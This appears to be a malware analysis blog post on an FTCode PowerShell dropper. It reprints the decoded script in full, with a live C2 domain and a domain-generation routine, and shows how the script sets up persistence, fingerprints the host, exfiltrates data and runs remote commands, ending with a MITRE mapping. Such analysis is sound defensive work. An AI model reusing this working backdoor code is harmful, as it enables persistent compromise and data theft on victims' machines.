FTCode: PowerShell Analysis
Little disclaimer for the reader:
No responsibilities of your actions will be taken by the author of this article, meaning that whatever you do (legal or illegal), you will be hold responsible.
The goal of this article is strictly for educational purposes only.
Introduction
The PowerShell analysis will begin from where we left in the last article that you can find here.
High level overview
Let us break the command into all of its components so that we can visualize them and delve more deeply into how they work:
powershell
: invocation of thepowershell.exe
executable.WindowStyle Hidden
: flag with parameter passed to the powershell command such that the executable is launched in hidden mode and not visible to the user on his desktop. This parameter allows the window to be hidden from the GUI, but it is possible to track the PowerShell execution by parsing active processes using the trivial Task Manager.-c $a=[string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(...)); iex $a;
: this flag goes to specify the execution of an inline PowerShell snippet directly from the terminal. As can be seen, the payload is stored in the variable$a
and finally executed viaInvoke-Expression $a
.
Decoding methods
To reduce the size of the code to be executed, make it more arduous to directly understand the command, and to escape from static parsers (now extremely inefficient and ancient), Base64 encoding is used to decode the payload before passing it to the Invoke-Expression
call.
Although there are several much more sophisticated obfuscation techniques, Base64 encoding and decoding is done only to reduce the size of the code. Most, if not all, detection systems are capable of parsing pieces of strings encoded in different ways, automatically trying to derive the original text before running static analysis and detection rules.
Interesting insights
Speaking from personal experience, I very often get to analyze malicious or dubious PowerShell files and, a very easy way to recognize something out of the ordinary and at first glance, is to look at the length of the parameters passed to the powershell.exe
executable, if there are strange encodings or if there are some of the following functions called:
FromBase64String
Invoke-Expression
DownloadString
System.IO.Compression.GZipStream::Decompress
The preceding list turns out to be a very small subset of existing functions that can be used to obfuscate and make analysis of a PowerShell script extremely difficult, and, depending on the threat actor and its motivation, there are more or less complex PowerShells depending on their level of expertise.
To give some practical examples taken from real cases, these are some types of PowerShells that I have analyzed over the years so that you can understand how far you can go if you have the right knowledge in the development world:
- Compiling executables and running them in memory directly from PowerShell, leaving no traces on the filesystem.
- Using encoding and encryption (usually RC4 given its high speed of encryption and decryption).
- Recursive encryption and decryption of a payload.
- Concatenation of different encryption, encoding and compression algorithms (and consequently their decompression, decryption and decryption).
- PowerShell scripts broken down into many small chunks. Each chunk recursively downloads the next chunk from the Internet.
- And classic files with double extensions or using steganographic techniques.
Payload analysis
Through the use of CyberChef, the decoded payload from Base64 is as follows, adding the line number in such a way as to make the analysis smoother and easier:
$xegagthsdb = $env:PUBLIC + "\Libraries"
if (-not (Test-Path $xegagthsdb)) { md $xegagthsdb; }
$tvxuhwzjcg = $xegagthsdb + "\WindowsIndexingService.vbs";
$yjtzjxcxw = "1014.2";
$ivyhzux = $env:temp + "\AFX50058.tmp";
$xuwcyeet = $xegagthsdb + "\thumbcache_64.db";
$myurlpost = $false;
$cchtyiic = "w";
function iamwork2{ sc -Path $ivyhzux -Value $(Get-Date); };
function sjbugxthh( $fxstbwjuuz ){
if( $fxstbwjuuz -match 'OutOfMemoryException' ){
ri -Path $ivyhzux -Force;
get-process powershell* | stop-process;
exit;
};
}
function sendpost2( $fxstbwjuuz ){
if( !$myurlpost ){ return $false; };
$xjzhafszjh = New-Object System.Net.WebClient;
$xjzhafszjh.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
$xjzhafszjh.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
$xjzhafszjh.Encoding = [System.Text.Encoding]::UTF8;
try{
$jsjvczax = $xjzhafszjh.UploadString( $myurlpost, "l="+[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( ( "v=$yjtzjxcxw&guid=$avxuyivz&" + $fxstbwjuuz ) ) ) );
$jsjvczax = [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( $jsjvczax ) );
if( !$cchtyiic ){ return $false; }
if( $ecacfwxtf -eq $jsjvczax.Substring(0,16) ){
return $jsjvczax.Substring(16,$jsjvczax.length-16) ;
}else{
$cchtyiic = $false;
sendpost2 ("error=" + [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( $jsjvczax ) ) );
}
}catch{
sjbugxthh $_.Exception.Message;
$cchtyiic = $false;
$xjzhafszjh.UploadString( $myurlpost, "l="+[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( ( "v=$yjtzjxcxw&guid=$avxuyivz&error=sendpost2:" + $myurlpost+":"+$jsjvczax +":"+ $_.Exception.Message ) ) ) );
};
return $false;
};
function afgeivsy( $vuwejei ){
$acysujjv = "http://cdn.danielrmurray.com/";
"hee","xu1","hs0","jd5","mqf" | %{ $acysujjv += ","+"http://"+ ( [Convert]::ToBase64String( [System.Text.Encoding]::UTF8.GetBytes( $_+ $(Get-Date -UFormat "%y%m%V") ) ).toLower() ) +".top/"; };
$acysujjv.split(",") | %{
if( !$myurlpost ){
$myurlpost = $_;
if( !(sendpost2 ($vuwejei + "&domen=$myurlpost" )) ){ $myurlpost = $false; };
Start-Sleep -s 5;
}
};
if( $vuwejei -match "status=register" ){
return "ok";
}else{
return $myurlpost;
}
};
if ( Test-Path $ivyhzux ){
if ( ( ( NEW-TIMESPAN -Start ((Get-ChildItem $ivyhzux ).CreationTime) -End (Get-Date)).Minutes ) -gt 15 ){
ri -Path $ivyhzux -Force;
try{ get-process powershell* | stop-process }catch{};
exit;
}else{ exit; };
};
function sfzeugjg( $zvhzcfz ){
if( $zvhzcfz ){
sc -Path $xuwcyeet -Value ( [guid]::NewGuid(), ( [guid]::NewGuid() -replace '-','' ).Substring(0,16) -join ',' ) -Force;
gi $xuwcyeet -Force | %{ $_.Attributes = "Hidden" };
try{
$ahugvzfs = [Environment]::GetFolderPath('Startup') + '\WindowsApplicationService.lnk';
if( -not ( Test-Path $ahugvzfs ) ){
$vuibgsb = New-Object -ComObject ('WScript.Shell');
$aefxstead = $vuibgsb.CreateShortcut( $ahugvzfs );
$aefxstead.TargetPath = $tvxuhwzjcg;
$aefxstead.WorkingDirectory = $xegagthsdb;
$aefxstead.WindowStyle = 1;
$aefxstead.Description = 'Windows Application Service';
$aefxstead.Save();
}
}catch{};
$avxuyivz, $ecacfwxtf = (get-content $xuwcyeet).split(',');
$ucyygxhcbv = "status=register&ssid=$ecacfwxtf&os="+([string]$PSVersionTable.BuildVersion)+"&psver="+( ( (Get-Host).Version ).Major )+ "&comp_name=" + ((Get-WmiObject -class Win32_ComputerSystem -Property Name).Name.trim() );
if( Test-Path ( $xegagthsdb + "\thumbcache_33.db" ) ){
ri -Path ( $xegagthsdb + "\thumbcache_33.db" ), ( $xegagthsdb + "\WindowsIndexingService.js" ) -Force;
try{ schtasks.exe /delete /TN "WindowsIndexingService" /f }catch{}
try{ schtasks.exe /delete /TN "Windows Indexing Service" /f }catch{}
if( Test-Path ( [Environment]::GetFolderPath('Startup') + '\WindowsIndexingService.lnk' ) ){
ri -Path ( [Environment]::GetFolderPath('Startup') + '\WindowsIndexingService.lnk' ) -Force;
}
}
$wuxhici = afgeivsy $ucyygxhcbv;
if( $wuxhici -ne "ok"){
ri -Path $xuwcyeet -Force;
exit;
}
}
return (get-content $xuwcyeet).split(',');
}
$hchayvewvb = (schtasks.exe /create /TN "WindowsApplicationService" /sc DAILY /st 00:00 /f /RI 19 /du 23:59 /TR $tvxuhwzjcg);
if ( Test-Path $xuwcyeet ){
$avxuyivz, $ecacfwxtf = sfzeugjg $false;
if( $ecacfwxtf.length -ne 16 ){ $avxuyivz, $ecacfwxtf = sfzeugjg $true; }
}else{
$avxuyivz, $ecacfwxtf = sfzeugjg $true;
}
$myurlpost = afgeivsy;
while( $cchtyiic ){
iamwork2;
try{
if( $cchtyiic -and ($cchtyiic.length -gt 30) ){
iex $cchtyiic;
};
}catch{ sjbugxthh $_.Exception.Message; };
Start-Sleep -s 280;
$cchtyiic = sendpost2;
};
ri -Path $ivyhzux -Force;
Main takeaways
Before we begin the real line-by-line analysis, let's take a look at what the code looks like, whether there are any plaintext strings, whether there are any particularly interesting commands or network calls to external domains or services:
Without even looking at the entire code, we can already identify and extract some indices of compromise and attack:
- The script starts by declaring some variables for configuration purposes, such as folder and file names.
- Creating a service
- A function named
sendpost2
. - Configuring the service to schedule it every day at midnight
- Removing a path/folder/file in a forced manner.
In summary, from our analysis we expect that once the payload is executed, a scheduled service is created that starts every day at midnight. It is most likely that the file executed by the service will be downloaded from an external C2 and hidden presumably in %PUBLIC%\Libraries
. Finally, the script deletes the traces left behind.
Code review
Before analyzing the contents of each function, we isolate and partition the code into iterative functions and executions.
In this specific case, there are interesting calls or particular executions in between functions that could be missed if you are careless.
This technique is commonly used by malware authors to hide or to make the analysis of a code more complex, as it is difficult to unearth these small portions of code if the file is large in size.
Initial configuration and variable assignment
$env_public_libraries_path = $env:PUBLIC + "\Libraries"
if (-not (Test-Path $env_public_libraries_path)) { md $env_public_libraries_path; }
$vbs_path = $env_public_libraries_path + "\WindowsIndexingService.vbs";
$strange_version = "1014.2";
$tmp_file = $env:temp + "\AFX50058.tmp";
$db_file = $env_public_libraries_path + "\thumbcache_64.db";
$myurlpost_bool = $false;
$str_w = "w";
Simply, you go and define some basic configurations such as the folder in which to possibly drop new files. The name of the variables have been changed so that analysis and readability are smoother.
Removal of artifacts or processes in running state
if ( Test-Path $tmp_file ){
# After 15 minutes of creating the temporary file, I delete it
if ( ( ( NEW-TIMESPAN -Start ((Get-ChildItem $tmp_file ).CreationTime) -End (Get-Date)).Minutes ) -gt 15 ){
ri -Path $tmp_file -Force;
try{ get-process powershell* | stop-process }catch{};
exit;
}else{ exit; };
};
If the %TEMP%\AFX50058.tmp
file exists, I delete it every 15 minutes since its creation. I still do not fully understand the attacker's utility and goal other than wanting to remove its traces from the system once the contents of the file are used.
After the temporary file is removed, I terminate any active PowerShell execution.
Creating a scheduled service
$hchayvewvb = (schtasks.exe /create /TN "WindowsApplicationService" /sc DAILY /st 00:00 /f /RI 19 /du 23:59 /TR $vbs_path);
The attacker creates a scheduled task named WindowsApplicationService
that runs every day from the time 00:00 to 23:59. The task executes the file located at the %PUBLIC%\Libraries\WindowsIndexingService.vbs
path every 19 minutes.
Connectivity check
if ( Test-Path $db_file ){
$guid, $ssid = startup_persistency $false;
if( $ssid.length -ne 16 ){ $guid, $ssid = startup_persistency $true; }
}else{
$guid, $ssid = startup_persistency $true;
}
$myurlpost_bool = check_networking_availability;
The situation starts to get much more complicated in this small snippet, as will be seen later when analyzing the startup_persistency
and check_networking_availability
functions.
From what little we have been able to figure out, that portion of code is concerned with establishing a two-way connection with the attacker's C2 and initiating the process of fingerprinting and exfiltrating generic data from the machine.
Constant execution of PowerShell code
# Main cycle executing something every 280 seconds
while( $str_w ){
set_content_tmp_date;
try{
if( $str_w -and ($str_w.length -gt 30) ){
iex $str_w;
};
}catch{ kill_powershell_if_out_of_memory $_.Exception.Message; };
Start-Sleep -s 280;
$str_w = sendpost2;
};
# I remove the temporary file
ri -Path $tmp_file -Force;
As long as the $str_w
variable is not empty and exceeds 30 bytes, the attacker executes via Invoke-Expression
some PowerShell code. During analysis, it proved impossible to determine the contents of the variable since it is no longer possible to connect to the attacker's C2 and analyze the network traffic.
Every 280 seconds, the variable is replaced with a new value after calling the sendpost2
function, which will most likely look for an available C2 from which to receive commands to execute.
Such a function can also be seen as a kind of reverse shell in PowerShell where, every 280 seconds, the C2 sends commands to be executed automatically on the infected machine.
Although this hypothesis might turn out to be correct, there is not enough data to attest to its veracity.
In case the execution of the Invoke-Expression
gives OutOfMemoryException
type exceptions, all PowerShell processes are terminated and the temporary file deleted.
Function: set_content_tmp_date
function set_content_tmp_date {
# Override of $tmp_file with the current date
sc -Path $tmp_file -Value $(Get-Date);
};
The PowerShell Set-Content
function is invoked which will replace (or overwrite) the AFX50058.tmp
file with the current date.
Function: kill_powershell_if_out_of_memory
function kill_powershell_if_out_of_memory( $exception_message ){
# exception_message is the exception generated by PowerShell
if( $exception_message -match 'OutOfMemoryException' ){
# I remove the temporary file AFX50058.tmp if the string contains OutOfMemoryException
ri -Path $tmp_file -Force;
get-process powershell* | stop-process;
# Terminate the script
exit;
};
}
This function receives as an argument a string containing an error message generated by PowerShell. Should the string contain the word OutOfMemoryException
, all active PowerShell processes would be terminated.
Function: sendpost2
function sendpost2( $str_input ){
if( !$myurlpost_bool ){ return $false; };
# I create WebClient object so that it can make HTTP calls
$web_client_handler = New-Object System.Net.WebClient;
$web_client_handler.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
$web_client_handler.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
$web_client_handler.Encoding = [System.Text.Encoding]::UTF8;
try{
# public string UploadString (string address, string data);
# I create my POST request by formatting the data to be sent.
# The data in the POST is encoded in Base64.
# I will then send the following information:
# - v = "1014.2" ## Maybe it's the malware version or an identifier.
# - guid = "69640409-da09-4b51-9552-6913a31af6d4" an example of Machine GUID, unique machine identifier
# - ?? = value of $str_input could represent the data that is about to be exfiltrated
$request = $web_client_handler.UploadString( $myurlpost_bool, "l="+[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( ( "v=$strange_version&guid=$guid&" + $str_input ) ) ) );
$request = [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( $request ) );
if( !$str_w ){ return $false; }
# Check if $ssid represents the first 16 characters of the request. It doesn't make sense for now.
if( $ssid -eq $request.Substring(0,16) ){
return $request.Substring(16,$request.length-16) ;
}else{
$str_w = $false;
# Do I add the 'error' key with the error to the POST parameter?
sendpost2 ("error=" + [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( $request ) ) );
}
}catch{
# Call kill_powershell_if_out_of_memory(Exception.Message)
kill_powershell_if_out_of_memory $_.Exception.Message;
$str_w = $false;
$web_client_handler.UploadString( $myurlpost_bool, "l="+[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( ( "v=$strange_version&guid=$guid&error=sendpost2:" + $myurlpost_bool+":"+$request +":"+ $_.Exception.Message ) ) ) );
};
return $false;
};
Without going into great detail, the sendpost2 function takes care of sending POST requests by passing the value of $str_input
as an argument in the request body. In case of errors and exceptions, it terminates the execution of all PowerShell processes and responds to C2 with the corresponding error message.
The data that the attacker is trying to exfiltrate is encoded in Base64
Function: check_networking_availability
function check_networking_availability( $str_status ){
# Function that probably tests whether the script can reach the outside
$possibile_c2 = "http://cdn.danielrmurray.com/";
# Creazione di domini potenzialmente fake per verificare il messaggio di risposta
"hee","xu1","hs0","jd5","mqf" | %{ $possibile_c2 += ","+"http://"+ ( [Convert]::ToBase64String( [System.Text.Encoding]::UTF8.GetBytes( $_+ $(Get-Date -UFormat "%y%m%V") ) ).toLower() ) +".top/"; };
# The URLs contacted are as follows (pre split).
# See the table below
$possibile_c2.split(",") | %{
if( !$myurlpost_bool ){
# I make a POST call to one of those URLs every 5 seconds
$myurlpost_bool = $_;
# If I get no response, I set the flag to False.
if( !(sendpost2 ($str_status + "&domen=$myurlpost_bool" )) ){ $myurlpost_bool = $false; };
Start-Sleep -s 5;
}
};
# If I got a response equal to 'status=register', potentially the machine has communicated with C2 and is waiting to download more data?
if( $str_status -match "status=register" ){
return "ok";
}else{
return $myurlpost_bool;
}
};
The generation of domains is done by concatenating several prefixes with the date in this particular format %y%m%V
, converted to lower case and added the suffix .top/
to the previously generated string after converting it to Base64, resulting in the following:
URLs | |
---|---|
hxxp[://]cdn[.]danielrmurray[.]com/ | hxxp[://]agvlmjmwnjiz[.]top/ |
hxxp[://]ahmwmjmwnjiz[.]top/ | hxxp[://]amq1mjmwnjiz[.]top/ |
hxxp[://]ehuxmjmwnjiz[.]top/ | hxxp[://]bxfmmjmwnjiz[.]top/ |
Every 5 seconds and for each URL generated (and subsequently extracted from the concatenation using the split(',')
function), I execute an HTTP call of type POST until I get the response status=register
.
Several URLs are used as C2s for redundancy. If ever one of the C2s should be taken offline, there are potentially the other C2s listening.
In this specific case, the generated URLs (except the first one) do not exist, and theoretically the attacker's goal is to figure out whether the infected machine is in an analysis environment. This check can be done by requesting nonexistent services and verifying the response obtained, and if the malware were to receive a response from a website that does not exist, it could abort its execution and eliminate any trace left on the system.
Function: startup_persistency
function startup_persistency( $zvhzcfz ){
if( $zvhzcfz ){
# Add to the DB file a unique code generated at the time
sc -Path $db_file -Value ( [guid]::NewGuid(), ( [guid]::NewGuid() -replace '-','' ).Substring(0,16) -join ',' ) -Force;
# Using Get-Item -Force Hidden to open a hidden file
gi $db_file -Force | %{ $_.Attributes = "Hidden" };
try{
$startup_path = [Environment]::GetFolderPath('Startup') + '\WindowsApplicationService.lnk';
if( -not ( Test-Path $startup_path ) ){
# Creo l'oggetto WScript.Shell
$vuibgsb = New-Object -ComObject ('WScript.Shell');
$aefxstead = $vuibgsb.CreateShortcut( $startup_path );
$aefxstead.TargetPath = $vbs_path;
$aefxstead.WorkingDirectory = $env_public_libraries_path;
$aefxstead.WindowStyle = 1;
$aefxstead.Description = 'Windows Application Service';
$aefxstead.Save();
# create .lnk files in the Windows StartupFolder so that on every reboot, it runs the malicious VBS
}
}catch{};
# extract the information from the DB file
$guid, $ssid = (get-content $db_file).split(',');
# prepare the GET request to make the OS fingerprint by exfiltrating:
# - Network SSID
# - Operating system
# - PowerShell version
# - Computer name
$data_request = "status=register&ssid=$ssid&os="+([string]$PSVersionTable.BuildVersion)+"&psver="+( ( (Get-Host).Version ).Major )+ "&comp_name=" + ((Get-WmiObject -class Win32_ComputerSystem -Property Name).Name.trim() );
if( Test-Path ( $env_public_libraries_path + "\thumbcache_33.db" ) ){
# If the DB file exists, I delete it along with a file with a JS extension
ri -Path ( $env_public_libraries_path + "\thumbcache_33.db" ), ( $env_public_libraries_path + "\WindowsIndexingService.js" ) -Force;
# I remove the persistence. Probably in case I have nothing left to exfiltrate.
try{ schtasks.exe /delete /TN "WindowsIndexingService" /f }catch{}
try{ schtasks.exe /delete /TN "Windows Indexing Service" /f }catch{}
if( Test-Path ( [Environment]::GetFolderPath('Startup') + '\WindowsIndexingService.lnk' ) ){
ri -Path ( [Environment]::GetFolderPath('Startup') + '\WindowsIndexingService.lnk' ) -Force;
}
}
$net_availability_response = check_networking_availability $data_request;
if( $net_availability_response -ne "ok"){
ri -Path $db_file -Force;
exit;
}
}
return (get-content $db_file).split(',');
}
This function only takes care of creating a persistence of the malware on the infected filesystem by adding a new entry within the Windows Startup folder, so that on each reboot it can be executed.
Unique identifiers are generated and, along with other system data collected via the Get-WmiObject
widget, are passed to the function responsible for making POST calls to the attacker's C2.
If the response from any C2 is equal to status=register, the check_network_availability
function will return the string ok
, instructing the script to remove the db file and terminating program execution.
MITRE ATT&CK Mapping
T1059.001: PowerShell | T1564.001: Hidden Files and Directories | T1497.003: Time Based Evasion | T1102.002: Bidirectional Communication |
T1053.005: Scheduled Task | T1564.003: Hidden Window | T1082: System Information Discovery | T1041: Exfiltration Over C2 Channel |
T1047: Windows Management Instrumentation | T1070.004: File Deletion | T1071.001: Web Protocols | |
T1547.001: Registry Run Keys / Startup Folder | T1070.009: Clear Persistence | T1132.001: Standard Encoding | |
T1140: Deobfuscate/Decode Files or Information | T1036.004: Masquerade Task or Service | T1568.002: Domain Generation Algorithms | |
T1480: Execution Guardrails | T1027.010: Command Obfuscation | T1029: Scheduled Transfer |